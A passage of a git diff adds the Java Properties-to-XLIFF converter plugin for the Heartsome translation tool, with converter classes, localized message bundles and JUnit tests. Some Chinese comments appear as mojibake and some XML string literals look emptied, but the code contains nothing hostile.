else { + segByElement = false; + } + } + + source = ""; + try { + // 计算总任务数 + File temp = new File(inputFile); + long totalSize = 0; + if (temp.exists()) { + totalSize = temp.length(); + } + CalculateProcessedBytes cpb = ConverterUtils.getCalculateProcessedBytes(totalSize); + monitor.beginTask(Messages.getString("javaproperties.Properties2Xliff.task1"), cpb.getTotalTask()); + monitor.subTask(""); + // if (segByElement == false) { + if (!segByElement) { + String initSegmenter = params.get(Converter.ATTR_SRX); + segmenter = new StringSegmenter(initSegmenter, sourceLanguage, catalogue); + } + + FileInputStream stream = new FileInputStream(inputFile); + input = new InputStreamReader(stream, srcEncoding); + buffer = new BufferedReader(input); + + output = new FileOutputStream(xliffFile); + + writeString("\n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + if (!"".equals(targetLanguage)) { + writeString("\n"); //$NON-NLS-1$ + } else { + writeString("\n"); //$NON-NLS-1$ + } + writeString("
    \n"); //$NON-NLS-1$ + writeString(" \n"); //$NON-NLS-1$ + String crc = ""; //$NON-NLS-1$ + + if (isSuite) { + crc = "crc=\"" + CRC16.crc16(TextUtil.cleanString(skeletonFile).getBytes("UTF-8")) + "\""; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + writeString(" \n"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + writeString(" \n"); //$NON-NLS-1$ + writeString(" \n"); //$NON-NLS-1$ //$NON-NLS-2$ + writeString(" " //$NON-NLS-1$ + + srcEncoding + "\n"); //$NON-NLS-1$ + writeString("
    \n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + + skeleton = new FileOutputStream(skeletonFile); + + // 写一个正则表达å¼ï¼Œä¸“门去除å‰é¢çš„空格 robert 2012-11-13 + String regex = "=\\s*"; + Pattern pattern = Pattern.compile(regex); + Matcher matcher = null; + + String line; + while ((line = buffer.readLine()) != null) { + // 检查是å¦å·²å–消转æ¢æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("javaproperties.cancel")); + } + // 计算转æ¢è¿›åº¦ + int size = line.getBytes(srcEncoding).length; + if (size > 0) { + int workedTask = cpb.calculateProcessed(size + 1); + if (workedTask > 0) { + monitor.worked(workedTask); + } + } + + if (line.trim().length() == 0) { + // no text in this line + // segment separator + writeSkeleton(line + "\n"); //$NON-NLS-1$ + } else if (line.trim().startsWith("#")) { //$NON-NLS-1$ + // this line is a comment + // send to skeleton + writeSkeleton(line + "\n"); //$NON-NLS-1$ + } else { + String tmp = line; + if (line.endsWith("\\")) { //$NON-NLS-1$ + do { + line = buffer.readLine(); + // 计算转æ¢è¿›åº¦ + int tempSize = line.getBytes(srcEncoding).length; + if (tempSize > 0) { + int tempWorkedTask = cpb.calculateProcessed(tempSize); + if (tempWorkedTask > 0) { + monitor.worked(tempWorkedTask); + } + } + + tmp += "\n" + line; //$NON-NLS-1$ + } while (line != null && line.endsWith("\\")); //$NON-NLS-1$ + } + matcher = pattern.matcher(tmp); + String matcherResult = "="; + if (matcher.find()) { + matcherResult = matcher.group(); + } + + int index = tmp.indexOf(matcherResult); //$NON-NLS-1$ + if (index != -1) { + String key = tmp.substring(0, index + matcherResult.length()); + writeSkeleton(key); + source = tmp.substring(index + matcherResult.length()); + writeSegment(); + writeSkeleton("\n"); //$NON-NLS-1$ + } else { + // this line may be wrong, send to skeleton + // and continue + writeSkeleton(tmp); + } + } + } + + skeleton.close(); + + writeString("\n"); //$NON-NLS-1$ + writeString("
    \n"); //$NON-NLS-1$ + writeString("
    "); //$NON-NLS-1$ + input.close(); + output.close(); + + result.put(Converter.ATTR_XLIFF_FILE, xliffFile); + } catch (OperationCanceledException e) { + throw e; + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + Messages.getString("javaproperties.Properties2Xliff.msg1"), e); + } finally { + monitor.done(); + } + + return result; + } + + /** + * Write string. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeString(String string) throws IOException { + output.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * Write skeleton. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeSkeleton(String string) throws IOException { + skeleton.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * Write segment. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeSegment() throws IOException { + String[] segments; + // if (segByElement == false) { + if (!segByElement) { + segments = segmenter.segment(fixChars(source)); + } else { + segments = new String[1]; + segments[0] = fixChars(source); + } + for (int i = 0; i < segments.length; i++) { + if (!segments[i].trim().equals("")) { //$NON-NLS-1$ + writeString(" \n" //$NON-NLS-1$ + + " " //$NON-NLS-1$ //$NON-NLS-2$ + + TextUtil.cleanString(segments[i]) + "\n"); //$NON-NLS-1$ + writeString(" \n"); //$NON-NLS-1$ + writeSkeleton("%%%" + segId++ + "%%%"); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + writeSkeleton(segments[i]); + } + } + source = ""; //$NON-NLS-1$ + } + } + + /** + * Fix chars. + * @param line + * the line + * @return the string + */ + private static String fixChars(String line) { + int start = line.indexOf("\\u"); //$NON-NLS-1$ + while (start != -1) { + if (line.substring(start + 2, start + 6).toLowerCase() + .matches("[\\dabcdef][\\dabcdef][\\dabcdef][\\dabcdef]")) { //$NON-NLS-1$ + line = line.substring(0, start) + toChar(line.substring(start + 2, start + 6)) + + line.substring(start + 6); + } + start = line.indexOf("\\u", start + 1); //$NON-NLS-1$ + } + return line; + } + + /** + * To char. + * @param string + * the string + * @return the string + */ + private static String toChar(String string) { + int hex = Integer.parseInt(string, 16); + char result = (char) hex; + return "" + result; //$NON-NLS-1$ + } +} diff --git a/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/Xliff2Properties.java b/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/Xliff2Properties.java new file mode 100644 index 0000000..ecff5f0 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/Xliff2Properties.java @@ -0,0 +1,427 @@ +/** + * Xliff2Properties.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.javaproperties; + +import java.io.BufferedReader; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.javaproperties.resource.Messages; +import net.heartsome.cat.converter.util.CalculateProcessedBytes; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.converter.util.ReverseConversionInfoLogRecord; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.w3c.dom.Node; +import org.xml.sax.SAXException; + +/** + * The Class Xliff2Properties. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Xliff2Properties implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "javalistresourcebundle"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("javaproperties.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to Java Properties Conveter"; + + /** + * (non-Javadoc). + * @param args + * the args + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Xliff2PropertiesImpl converter = new Xliff2PropertiesImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc). + * @return the name + * @see net.heartsome.cat.converter.Converter#getName() + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc). + * @return the type + * @see net.heartsome.cat.converter.Converter#getType() + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc). + * @return the type name + * @see net.heartsome.cat.converter.Converter#getTypeName() + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Xliff2PropertiesImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Xliff2PropertiesImpl { + + private static final String UTF_8 = "UTF-8"; + + /** The skl file. */ + private String sklFile; + + /** The xliff file. */ + private String xliffFile; + + /** The encoding. */ + private String encoding; + + /** The segments. */ + private Hashtable segments; + + /** The catalogue. */ + private Catalogue catalogue; + + /** The output. */ + private FileOutputStream output; + + /** The input. */ + private InputStreamReader input; + + /** The buffer. */ + private BufferedReader buffer; + + /** The line. */ + private String line; + + // 计算替æ¢è¿›åº¦çš„对象 + private CalculateProcessedBytes cpb; + + // 替æ¢è¿‡ç¨‹çš„进度监视器 + private IProgressMonitor replaceMonitor; + + /** + * Run. + * @param params + * the params + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + + ReverseConversionInfoLogRecord infoLogger = ConverterUtils.getReverseConversionInfoLogRecord(); + infoLogger.startConversion(); + + Map result = new HashMap(); + + sklFile = params.get(Converter.ATTR_SKELETON_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + encoding = params.get(Converter.ATTR_SOURCE_ENCODING); + String catalogueFile = params.get(Converter.ATTR_CATALOGUE); + String outputFile = params.get(Converter.ATTR_TARGET_FILE); + + String attrIsPreviewMode = params.get(Converter.ATTR_IS_PREVIEW_MODE); + /* 是å¦ä¸ºé¢„è§ˆç¿»è¯‘æ¨¡å¼ */ + boolean isPreviewMode = attrIsPreviewMode != null && attrIsPreviewMode.equals(Converter.TRUE); + + try { + infoLogger.logConversionFileInfo(catalogueFile, null, xliffFile, sklFile); + + // 把转æ¢è¿‡ç¨‹çš„进度分为 10,其中加载 catalogue å  2,加载 xliff æ–‡ä»¶å  3,替æ¢è¿‡ç¨‹å  5。 + monitor.beginTask("", 10); + monitor.subTask(Messages.getString("javaproperties.Xliff2Properties.task1")); + try { + infoLogger.startLoadingCatalogueFile(); + if (catalogueFile != null) { + catalogue = new Catalogue(catalogueFile); + } + infoLogger.endLoadingCatalogueFile(); + monitor.worked(2); + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("javaproperties.cancel")); + } + + infoLogger.startLoadingIniFile(); + output = new FileOutputStream(outputFile); + loadSegments(Progress.getSubMonitor(monitor, 3)); + infoLogger.endLoadingXliffFile(); + } catch (OperationCanceledException e) { + throw e; + } catch (Exception e1) { + if (Converter.DEBUG_MODE) { + e1.printStackTrace(); + } + + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + Messages.getString("javaproperties.Xliff2Properties.msg1"), e1); + } + try { + // åˆå§‹åŒ–计算替æ¢è¿›åº¦çš„对象O + cpb = ConverterUtils.getCalculateProcessedBytes(sklFile); + replaceMonitor = Progress.getSubMonitor(monitor, 5); + replaceMonitor.beginTask(Messages.getString("javaproperties.Xliff2Properties.task2"), cpb.getTotalTask()); + replaceMonitor.subTask(""); + infoLogger.startReplacingSegmentSymbol(); + + input = new InputStreamReader(new FileInputStream(sklFile), "UTF-8"); //$NON-NLS-1$ + buffer = new BufferedReader(input); + + line = buffer.readLine(); + while (line != null) { + line = line + "\n"; //$NON-NLS-1$ + + if (line.indexOf("%%%") != -1) { //$NON-NLS-1$ + // + // contains translatable text + // + int index = line.indexOf("%%%"); //$NON-NLS-1$ + while (index != -1) { + String start = line.substring(0, index); + writeString(start); + line = line.substring(index + 3); + String code = line.substring(0, line.indexOf("%%%")); //$NON-NLS-1$ + line = line.substring(line.indexOf("%%%") + 3); //$NON-NLS-1$ + Element segment = segments.get(code); + if (segment != null) { + Element target = segment.getChild("target"); //$NON-NLS-1$ + Element source = segment.getChild("source"); //$NON-NLS-1$ + if (target != null) { + String tgtStr = extractText(target); + if (isPreviewMode || !"".equals(tgtStr.trim())) { + writeString(tgtStr, true, code); + } else { + writeString(extractText(source), true, code); + } + } else { + writeString(extractText(source), true, code); + } + } else { + MessageFormat mf = new MessageFormat(Messages.getString("javaproperties.Xliff2Properties.msg0")); //$NON-NLS-1$ + Object[] args = { "" + code }; //$NON-NLS-1$ + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, mf.format(args)); + } + + index = line.indexOf("%%%"); //$NON-NLS-1$ + if (index == -1) { + writeString(line); + } + } // end while + } else { + // + // non translatable portion + // + writeString(line); + } + + line = buffer.readLine(); + } + infoLogger.endReplacingSegmentSymbol(); + + output.close(); + + result.put(Converter.ATTR_TARGET_FILE, outputFile); + infoLogger.endConversion(); + } catch (OperationCanceledException e) { + throw e; + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + Messages.getString("javaproperties.Xliff2Properties.msg2"), e); + } finally { + replaceMonitor.done(); + } + } finally { + // ä¿è¯ monitor çš„ done 被调用 + monitor.done(); + } + return result; + } + + /** + * Load segments. + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void loadSegments(IProgressMonitor monitor) throws SAXException, IOException { + try { + monitor.beginTask(Messages.getString("javaproperties.Xliff2Properties.msg3"), IProgressMonitor.UNKNOWN); + monitor.subTask(""); + SAXBuilder builder = new SAXBuilder(); + if (catalogue != null) { + builder.setEntityResolver(catalogue); + } + + Document doc = builder.build(xliffFile); + Element root = doc.getRootElement(); + Element body = root.getChild("file").getChild("body"); //$NON-NLS-1$ //$NON-NLS-2$ + List units = body.getChildren("trans-unit"); //$NON-NLS-1$ + Iterator i = units.iterator(); + + segments = new Hashtable(); + + while (i.hasNext()) { + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("javaproperties.cancel")); + } + Element unit = i.next(); + segments.put(unit.getAttributeValue("id"), unit); //$NON-NLS-1$ + } + } finally { + monitor.done(); + } + } + + /** + * Write string. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeString(String string) throws IOException { + writeString(string, false, null); + } + + /** + * Write string. + * @param string + * the string + * @param isSegment + * 标识当å‰æ‰€å†™å†…容,ture 标识当å‰æ‰€å†™å†…容为 segment,false 标识当å‰æ‰€å®šå†…容为原骨架文件中的内容。 + * @param replaceCode + * skeleton 文件中的segment 标识符 + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeString(String string, boolean isSegment, String replaceCode) throws IOException { + byte[] bytes = string.getBytes(encoding); + output.write(bytes); + // 是å¦å–消æ“作 + if (replaceMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("javaproperties.cancel")); + } + // 在计算已处ç†çš„字节时,需è¦ç”¨ skeleton 文件的æºç¼–ç è¿›è¡Œè§£ç  + if (!isSegment) { + cpb.calculateProcessed(replaceMonitor, string, UTF_8); + } else { + replaceCode = "%%%" + replaceCode + "%%%"; + cpb.calculateProcessed(replaceMonitor, replaceCode, UTF_8); + } + } + + } + + /** + * Extract text. + * @param target + * the target + * @return the string + */ + private static String extractText(Element target) { + String result = ""; //$NON-NLS-1$ + List content = target.getContent(); + Iterator i = content.iterator(); + while (i.hasNext()) { + Node n = i.next(); + switch (n.getNodeType()) { + case Node.ELEMENT_NODE: + Element e = new Element(n); + result = result + extractText(e); + break; + case Node.TEXT_NODE: + result = result + n.getNodeValue(); + break; + default: + break; + } + } + return cleanChars(result); + } + + /** + * Clean chars. + * @param string + * the string + * @return the string + */ + private static String cleanChars(String string) { + String result = ""; //$NON-NLS-1$ + int size = string.length(); + for (int i = 0; i < size; i++) { + char c = string.charAt(i); + if (c <= 255) { + result = result + c; + } else { + result = result + toHex(c); + } + } + return result; + } + + /** + * To hex. + * @param c + * the c + * @return the string + */ + private static String toHex(char c) { + String hex = Integer.toHexString(c); + while (hex.length() < 4) { + hex = "0" + hex; //$NON-NLS-1$ + } + return "\\u" + hex; //$NON-NLS-1$ + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/resource/Messages.java new file mode 100644 index 0000000..9dfdee2 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.javaproperties.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * The Class Messages. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.javaproperties.resource.javaproperties"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/resource/javaproperties.properties b/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/resource/javaproperties.properties new file mode 100644 index 0000000..d64b8b7 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/resource/javaproperties.properties @@ -0,0 +1,13 @@ +javaproperties.Properties2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +javaproperties.Properties2Xliff.msg1 = Java \u8d44\u6e90\u6587\u4ef6\u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +javaproperties.Xliff2Properties.msg0 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +javaproperties.Xliff2Properties.msg1 = XLIFF \u8f6c\u6362 Java \u8d44\u6e90\u6587\u4ef6\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +javaproperties.Xliff2Properties.msg2 = XLIFF \u8f6c\u6362 Java \u8d44\u6e90\u6587\u4ef6\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +javaproperties.Xliff2Properties.msg3 = \u6b63\u5728\u52a0\u8f7d XLIFF \u6587\u4ef6... +javaproperties.Xliff2Properties.task1 = \u6b63\u5728\u8f6c\u6362... +javaproperties.Xliff2Properties.task2 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6\u7b26... + +############################ 2012-08-08 \u6dfb\u52a0 ################################## +javaproperties.TYPE_NAME_VALUE = Java \u8d44\u6e90\u6587\u4ef6 (PROPERTIES) +javaproperties.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/resource/javaproperties_en.properties b/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/resource/javaproperties_en.properties new file mode 100644 index 0000000..1a9dee5 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/resource/javaproperties_en.properties @@ -0,0 +1,13 @@ +javaproperties.Properties2Xliff.task1 = Converting... +javaproperties.Properties2Xliff.msg1 = Failed to convert Java Resources files to XLIFF. Please try again. + +javaproperties.Xliff2Properties.msg0 = Can't find segment {0}. The XLIFF file might be demaged. please follow the steps below to repair it:\n1. Send all segments of the XLIFF to TM;\n2. Backup the XLIFF file (directly copy the XLIFF file folders or export the entire project);\n3. Re-convert source file to XLIFF, and pre-translate these XLIFF files;\n4. Take XLIFF files from previous step to retry the conversion. +javaproperties.Xliff2Properties.msg1 = Failed to convert XLIFF to Java Resources files. Please try again. +javaproperties.Xliff2Properties.msg2 = Failed to convert XLIFF to Java Resources files. Please try again. +javaproperties.Xliff2Properties.msg3 = Loading XLIFF files... +javaproperties.Xliff2Properties.task1 = Converting... +javaproperties.Xliff2Properties.task2 = Replacing segment identifiers in the skeleton file.... + +############################ 2012-08-08 \u6dfb\u52a0 ################################## +javaproperties.TYPE_NAME_VALUE = Java Properties File (PROPERTIES) +javaproperties.cancel = Exit conversion \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/resource/javaproperties_zh.properties b/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/resource/javaproperties_zh.properties new file mode 100644 index 0000000..d0c48ad --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/resource/javaproperties_zh.properties @@ -0,0 +1,15 @@ +javaproperties.Properties2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +javaproperties.Properties2Xliff.msg1 = Java \u8d44\u6e90\u6587\u4ef6\u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +javaproperties.Xliff2Properties.msg0 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +javaproperties.Xliff2Properties.msg1 = XLIFF \u8f6c\u6362 Java \u8d44\u6e90\u6587\u4ef6\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +javaproperties.Xliff2Properties.msg2 = XLIFF \u8f6c\u6362 Java \u8d44\u6e90\u6587\u4ef6\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +javaproperties.Xliff2Properties.msg3 = \u6b63\u5728\u52a0\u8f7d XLIFF \u6587\u4ef6... +javaproperties.Xliff2Properties.task1 = \u6b63\u5728\u8f6c\u6362... +javaproperties.Xliff2Properties.task2 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6\u7b26... + +############################ 2012-08-08 \u6dfb\u52a0 ################################## +javaproperties.TYPE_NAME_VALUE = Java \u8d44\u6e90\u6587\u4ef6 (PROPERTIES) +javaproperties.cancel = \u9000\u51fa\u8f6c\u6362 + + diff --git a/hsconverter/net.heartsome.cat.converter.javaproperties/testSrc/net/heartsome/cat/converter/javaproperties/test/Properties2XliffTest.java b/hsconverter/net.heartsome.cat.converter.javaproperties/testSrc/net/heartsome/cat/converter/javaproperties/test/Properties2XliffTest.java new file mode 100644 index 0000000..512e2be --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javaproperties/testSrc/net/heartsome/cat/converter/javaproperties/test/Properties2XliffTest.java @@ -0,0 +1,102 @@ +package net.heartsome.cat.converter.javaproperties.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.javaproperties.Properties2Xliff; + +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.Test; + +public class Properties2XliffTest { + public static Properties2Xliff converter = new Properties2Xliff(); + private static String srcFile = "rc/Test.properties"; + private static String xlfFile = "rc/Test.properties.xlf"; + private static String sklFile = "rc/Test.properties.skl"; + + @Before + public void setUp() { + File skl = new File(sklFile); + if (skl.exists()) { + skl.delete(); + } + + File xlf = new File(xlfFile); + if (xlf.exists()) { + xlf.delete(); + } + } + + @Test(expected = ConverterException.class) + public void testConvertMissingCatalog() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "en-US"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + // args.put(Converter.ATTR_CATALOGUE, rootFolder + + // "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test(expected = ConverterException.class) + public void testConvertMissingSRX() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "en-US"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @AfterClass + public static void testConvert() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "en-US"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.javaproperties/testSrc/net/heartsome/cat/converter/javaproperties/test/Xliff2PropertiesTest.java b/hsconverter/net.heartsome.cat.converter.javaproperties/testSrc/net/heartsome/cat/converter/javaproperties/test/Xliff2PropertiesTest.java new file mode 100644 index 0000000..71fd32c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javaproperties/testSrc/net/heartsome/cat/converter/javaproperties/test/Xliff2PropertiesTest.java @@ -0,0 +1,50 @@ +package net.heartsome.cat.converter.javaproperties.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import 